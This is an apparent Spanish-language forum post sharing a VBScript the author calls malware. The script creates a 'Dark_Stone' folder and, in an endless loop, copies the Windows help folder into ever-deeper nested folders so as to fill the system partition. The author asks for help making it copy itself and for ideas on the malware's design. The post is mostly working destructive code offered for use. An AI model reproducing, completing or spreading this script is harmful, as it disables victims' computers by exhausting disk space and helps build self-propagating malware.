Autor
Código:
on error resume next
' Declaracion de variables
set objshell = createobject("wscript.shell")
set objfso = createobject("scripting.filesystemobject")
dim perfil_usuario
dim carpeta_destino
dim cont
dim ampliar
dim help
rem Inicializacion de las variables
perfil_usuario = objshell.expandenvironmentstrings("%userprofile%")
help = objshell.expandenvironmentstrings("%windir%")
msgbox (help)
icono = objshell.expandenvironmentstrings("%windir%\system32")
carpeta_destino = objfso.createfolder(perfil_usuario & "\Dark_Stone")
llenar = objfso.createfolder(perfil_usuario & "\Dark_Stone\llenar")
rem Cuerpo
while (5=5)
copiar = objfso.copyfolder(help & "\help", llenar)
ampliar = objfso.createfolder(llenar & "\llenando")
llenar = ampliar
wend
lo del while (5=5) es una condicion que yo usaba en la escuela para decir que algo tenia que ejecutarse siempre sin final.
el objetivo de este codigo es llenar el espacio de la particion donde esta instalado el sistema operativo, lo que no logro hacer de ninguna forma y por eso no puse el codigo es que se copie. Por favor ayuda y espero haber ayudado a alguien con mi propuesta de codigo.
PD: Es valido tambien cualkier aporte al diseño y a la forma visual del malware!
En línea
